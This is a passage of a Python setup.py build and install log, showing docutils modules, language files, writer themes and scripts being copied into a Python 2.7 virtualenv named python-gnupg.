-> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/da.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/zh_cn.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/en.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/he.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/zh_tw.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/lt.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/sk.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/eo.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/de.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/es.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/fi.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/nl.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/it.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/__init__.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/sv.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/af.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/cs.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/ru.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/gl.py -> build/lib.linux-x86_64-2.7/docutils/languages - - copying docutils/languages/pl.py -> build/lib.linux-x86_64-2.7/docutils/languages - - creating build/lib.linux-x86_64-2.7/docutils/parsers - - copying docutils/parsers/null.py -> build/lib.linux-x86_64-2.7/docutils/parsers - - copying docutils/parsers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers - - creating build/lib.linux-x86_64-2.7/docutils/parsers/rst - - copying docutils/parsers/rst/tableparser.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst - - copying docutils/parsers/rst/roles.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst - - copying docutils/parsers/rst/states.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst - - copying docutils/parsers/rst/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst - - creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/images.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/tables.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/parts.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/admonitions.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/html.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/references.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/body.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - copying docutils/parsers/rst/directives/misc.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives - - creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/pt_br.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/fr.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/ca.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/ja.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/da.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/zh_cn.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/en.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/he.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/zh_tw.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/lt.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/sk.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/eo.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/de.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/es.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/fi.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/nl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/it.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/__init__.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/sv.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/af.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/cs.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/ru.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/gl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - copying docutils/parsers/rst/languages/pl.py -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages - - creating build/lib.linux-x86_64-2.7/docutils/readers - - copying docutils/readers/standalone.py -> build/lib.linux-x86_64-2.7/docutils/readers - - copying docutils/readers/pep.py -> build/lib.linux-x86_64-2.7/docutils/readers - - copying docutils/readers/doctree.py -> build/lib.linux-x86_64-2.7/docutils/readers - - copying docutils/readers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/readers - - creating build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/components.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/peps.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/frontmatter.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/parts.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/writer_aux.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/references.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/__init__.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/universal.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - copying docutils/transforms/misc.py -> build/lib.linux-x86_64-2.7/docutils/transforms - - creating build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/error_reporting.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/roman.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/code_analyzer.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/punctuation_chars.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/smartquotes.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/urischemes.py -> build/lib.linux-x86_64-2.7/docutils/utils - - copying docutils/utils/__init__.py -> build/lib.linux-x86_64-2.7/docutils/utils - - creating build/lib.linux-x86_64-2.7/docutils/utils/math - - copying docutils/utils/math/unichar2tex.py -> build/lib.linux-x86_64-2.7/docutils/utils/math - - copying docutils/utils/math/tex2unichar.py -> build/lib.linux-x86_64-2.7/docutils/utils/math - - copying docutils/utils/math/math2html.py -> build/lib.linux-x86_64-2.7/docutils/utils/math - - copying docutils/utils/math/__init__.py -> build/lib.linux-x86_64-2.7/docutils/utils/math - - copying docutils/utils/math/latex2mathml.py -> build/lib.linux-x86_64-2.7/docutils/utils/math - - creating build/lib.linux-x86_64-2.7/docutils/writers - - copying docutils/writers/null.py -> build/lib.linux-x86_64-2.7/docutils/writers - - copying docutils/writers/pseudoxml.py -> build/lib.linux-x86_64-2.7/docutils/writers - - copying docutils/writers/manpage.py -> build/lib.linux-x86_64-2.7/docutils/writers - - copying docutils/writers/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers - - copying docutils/writers/docutils_xml.py -> build/lib.linux-x86_64-2.7/docutils/writers - - creating build/lib.linux-x86_64-2.7/docutils/writers/html4css1 - - copying docutils/writers/html4css1/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 - - creating build/lib.linux-x86_64-2.7/docutils/writers/pep_html - - copying docutils/writers/pep_html/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html - - copying docutils/writers/s5_html/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html - - creating build/lib.linux-x86_64-2.7/docutils/writers/latex2e - - copying docutils/writers/latex2e/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e - - creating build/lib.linux-x86_64-2.7/docutils/writers/xetex - - copying docutils/writers/xetex/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/xetex - - creating build/lib.linux-x86_64-2.7/docutils/writers/odf_odt - - copying docutils/writers/odf_odt/pygmentsformatter.py -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt - - copying docutils/writers/odf_odt/__init__.py -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt - - running build_scripts - - creating build/scripts-2.7 - - copying and adjusting tools/rst2html.py -> build/scripts-2.7 - - copying and adjusting tools/rst2s5.py -> build/scripts-2.7 - - copying and adjusting tools/rst2latex.py -> build/scripts-2.7 - - copying and adjusting tools/rst2xetex.py -> build/scripts-2.7 - - copying and adjusting tools/rst2man.py -> build/scripts-2.7 - - copying and adjusting tools/rst2xml.py -> build/scripts-2.7 - - copying and adjusting tools/rst2pseudoxml.py -> build/scripts-2.7 - - copying and adjusting tools/rstpep2html.py -> build/scripts-2.7 - - copying and adjusting tools/rst2odt.py -> build/scripts-2.7 - - copying and adjusting tools/rst2odt_prepstyles.py -> build/scripts-2.7 - - changing mode of build/scripts-2.7/rst2html.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2s5.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2latex.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2xetex.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2man.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2xml.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2pseudoxml.py from 644 to 755 - - changing mode of build/scripts-2.7/rstpep2html.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2odt.py from 644 to 755 - - changing mode of build/scripts-2.7/rst2odt_prepstyles.py from 644 to 755 - - running build_data - - creating build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomfrk-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isolat1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isolat2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamsb.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/README.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isotech.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomfrk.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isocyr1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomopf-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamso.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isonum.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/mmlextra.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isogrk4-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomscr.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isogrk4.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/mmlextra-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isogrk2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamsr.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/s5defs.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/xhtml1-special.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isobox.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamsn.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isodia.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomscr-wide.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isopub.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isocyr2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isogrk1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/xhtml1-symbol.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamsa.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isogrk3.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/xhtml1-lat1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isomopf.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/mmlalias.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/parsers/rst/include/isoamsc.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include - - copying docutils/writers/html4css1/html4css1.css -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 - - copying docutils/writers/html4css1/math.css -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 - - copying docutils/writers/html4css1/template.txt -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 - - copying docutils/writers/latex2e/default.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e - - copying docutils/writers/latex2e/titlepage.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e - - copying docutils/writers/latex2e/xelatex.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e - - copying docutils/writers/pep_html/pep.css -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html - - copying docutils/writers/pep_html/template.txt -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes - - copying docutils/writers/s5_html/themes/README.txt -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes - - copying docutils/writers/odf_odt/styles.odt -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black - - copying docutils/writers/s5_html/themes/medium-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black - - copying docutils/writers/s5_html/themes/medium-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white - - copying docutils/writers/s5_html/themes/small-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white - - copying docutils/writers/s5_html/themes/small-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white - - copying docutils/writers/s5_html/themes/big-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white - - copying docutils/writers/s5_html/themes/big-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black - - copying docutils/writers/s5_html/themes/big-black/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black - - copying docutils/writers/s5_html/themes/big-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black - - copying docutils/writers/s5_html/themes/big-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white - - copying docutils/writers/s5_html/themes/medium-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white - - copying docutils/writers/s5_html/themes/medium-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/s5-core.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/slides.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/print.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/iepngfix.htc -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/blank.gif -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/opera.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/outline.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - copying docutils/writers/s5_html/themes/default/slides.js -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default - - creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black - - copying docutils/writers/s5_html/themes/small-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black - - copying docutils/writers/s5_html/themes/small-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black - - running install_lib - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt - - copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/pygmentsformatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt - - copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt - - copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/styles.odt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt - - copying build/lib.linux-x86_64-2.7/docutils/writers/null.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - copying build/lib.linux-x86_64-2.7/docutils/writers/pseudoxml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 - - copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/template.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 - - copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/html4css1.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 - - copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 - - copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/math.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex - - copying build/lib.linux-x86_64-2.7/docutils/writers/xetex/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/README.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/s5-core.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/slides.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/print.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/iepngfix.htc -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/blank.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/opera.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/outline.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/slides.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black - - copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html - - copying build/lib.linux-x86_64-2.7/docutils/writers/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html - - copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/template.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html - - copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html - - copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/pep.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html - - copying build/lib.linux-x86_64-2.7/docutils/writers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e - - copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/default.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e - - copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/xelatex.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e - - copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/titlepage.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e - - copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e - - copying build/lib.linux-x86_64-2.7/docutils/writers/docutils_xml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers - - copying build/lib.linux-x86_64-2.7/docutils/core.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils - - copying build/lib.linux-x86_64-2.7/docutils/examples.py -> 